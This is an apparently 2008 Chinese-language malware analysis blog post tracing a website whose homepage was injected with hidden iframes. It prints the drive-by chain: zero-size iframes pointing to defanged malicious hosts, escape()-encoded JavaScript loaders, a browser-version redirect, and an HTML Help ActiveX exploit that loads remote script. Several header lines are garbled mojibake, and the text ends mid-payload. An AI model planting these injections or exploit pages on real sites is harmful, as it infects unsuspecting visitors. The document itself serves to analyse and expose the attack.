发现一个技术升级了的带毒网站（第1版）

　2008-01-05 18:40:30　来源：WEB开发网　闂傚倸鍊搁崐椋庢濮橆兗缂氱憸宥堢亱闂佸湱铏庨崰鏍不椤栫偞鐓ラ柣鏇炲€圭€氾拷

闂傚倸鍊搁崐椋庣矆娓氣偓楠炲鏁撻悩鎻掔€梺姹囧灩閻忔艾鐣烽弻銉︾厵闁规鍠栭。濂告煕鎼达紕校闁靛洤瀚伴獮鎺楀箣濠靛啫浜鹃柣銏⑶圭壕濠氭煙閻愵剚鐏辨俊鎻掔墛缁绘盯宕卞Δ鍐冣剝绻涘畝濠佺敖缂佽鲸鎹囧畷鎺戭潩閹典焦鐎搁梻浣烘嚀閸ゆ牠骞忛敓锟�

婵犵數濮烽弫鍛婃叏椤撱垹绠柛鎰靛枛瀹告繃銇勯幘瀵哥畼闁硅娲熷缁樼瑹閳ь剙岣胯鐓ら柕鍫濇偪濞差亜惟闁宠桨鑳堕崝锕€顪冮妶鍡楃瑐闁煎啿鐖奸崺濠囧即閵忥紕鍘梺鎼炲劗閺呮稒绂掕缁辨帗娼忛埡浣锋闂佽桨鐒﹂幑鍥极閹剧粯鏅搁柨鐕傛嫹闂傚倸鍊搁崐椋庢濮橆兗缂氱憸宥堢亱闂佸湱铏庨崰鏍不椤栫偞鐓ラ柣鏇炲€圭€氾拷　　闂傚倸鍊搁崐鐑芥嚄閼哥數浠氱紓鍌欒兌缁垶銆冮崨鏉戠厺鐎广儱顦崡鎶芥煏韫囨洖校闁诲寒鍓熷铏圭磼濡搫顫岄梺鍦拡閸嬪棝鎯€椤忓浂妯勯梺鍝勬湰濞叉ḿ鎹㈠┑濠勭杸闁哄洨濮烽悰銉╂⒒娴ｅ搫甯跺鐟帮攻缁傚秴饪伴崼姘ｅ亾閺冨牆绀冩い蹇庣娴滈箖鏌ㄥ┑鍡涱€楀褜鍠栭湁闁绘ɑ鐟ョ€氼喚绮绘ィ鍐╃厱妞ゆ劑鍊曢弸搴ㄦ煟韫囧鍔滈柕鍥у瀵潙螣閸濆嫬袝婵＄偑鍊戦崹娲偡閳哄懎绠栭柍鈺佸暞閸庣喖鏌曢崶褍绨婚柟鍑ゆ嫹

核心提示：endurer原创网站首页被插入恶意代码：＜iframe src='hxXP://www.***hyap98.com/123/wawa.htm' width='0' height='0' frameborder='0'＞＜/iframe＞＜iframe s

endurer　原创

网站首页被插入恶意代码：

＜iframe src='hxXP://www.***hyap98.com/123/wawa.htm' width='0' height='0' frameborder='0'＞＜/iframe＞＜iframe src='hxxp://djloveQQ.***go3.icpcn.com/cert/joke.htm' width='0' height='0' frameborder='0'＞＜/iframe＞

hxxp://www.***hyap98.com/123/wawa.htm的部分内容经过escape()加密，upescape()后为：

＜Html＞
＜HEAD＞
＜SCRipT LANGUAGE="javascript"＞
＜!--
var Words="＜iframe src="hxxp://www.***hyap98.com/123/music.htm" width='0' height='0' frameborder='0'＞＜/iframe＞
＜iframe src="hxxp://www.***hyap98.com/rx/joke.htm" width='0' height='0' frameborder='0'＞＜/iframe＞"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// --＞
＜/SCRIPT＞
＜/HEAD＞
＜BODY＞
＜/BODY＞
＜/HTML＞

hxxp://www.***hyap98.com/123/music.htm的部分内容经过escape()加密，upescape()后为：

＜HTML＞
＜HEAD＞
＜SCRIPT LANGUAGE="Javascript"＞
＜!--
var Words="＜embed type="audio/x-pn-realaudio-plugin"
src="music.smi"
controls="controlpanel,statusbar" height=95
width=150 autostart=true＞"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// --＞
＜/SCRIPT＞
＜/HEAD＞
＜BODY＞
＜/BODY＞
＜/HTML＞

hxxp://www.***hyap98.com/rx/joke.htm的内容为(已去掉开头的多个空格)：

＜center＞＜font color=red＞对不起,您访问的页面不存在!＜/font＞＜center＞　　　　＜script language=javascript＞ie='windows';ver=navigator.appVersion;if(!(ver.indexOf('NT 5.0')==-1))ie='winnt';if(!(ver.indexOf('Windows 98')==-1)){ie='w98';}location.href=ie+'.htm';＜/script＞

此网页检查IE版本，并打开相应的网页windows.htm、wint.htm或w98.htm。

hxxp://www.***hyap98.com/rx/windows.htm的部分内容经过escape()加密，upescape()并去掉多余的起始空格后为：

＜HTML＞
＜HEAD＞
＜SCRIPT LANGUAGE="Javascript"＞
＜!--
var Words="＜SCRIPT language=VScript src="http://www.qqread.com/java/young.gif"＞＜/SCRIPT＞＜SCRIPT language=VScript src="young.CSS"＞＜/SCRIPT＞＜HTML＞＜BODY＞＜div style="display:none"＞＜OBJECT id="news526" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"＞＜PARAM name="Command" value="Related Topics, MENU"＞＜PARAM name="Window" value="$global_ifl"＞＜PARAM name="Item1" value='command;/windows/help/apps.chm');＜/OBJECT＞＜OBJECT id="news215" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"＞＜PARAM name="Command" value="Related Topics, MENU"＞＜PARAM name="Window" value="$global_ifl"＞＜PARAM name="Item1" value='command;javascript:eval("document.write(\"＜SCRIPT language=JScript src=\\\"hxxp://www.***hyap98.com/rx/young.gif\\\"\"+String.fromCharCode(62)+\"＜/SCR\"+\"IPT\"+String.fromCharCode(62))")'＞＜/OBJECT＞＜/div＞＜SCRIPT＞news526.Click();f1=1+1;f1=f1+2;setTimeout("news215.Click();",0);fu1=2;fu1=3+4;＜/SCRIPT＞＜/BODY＞＜/HTML＞"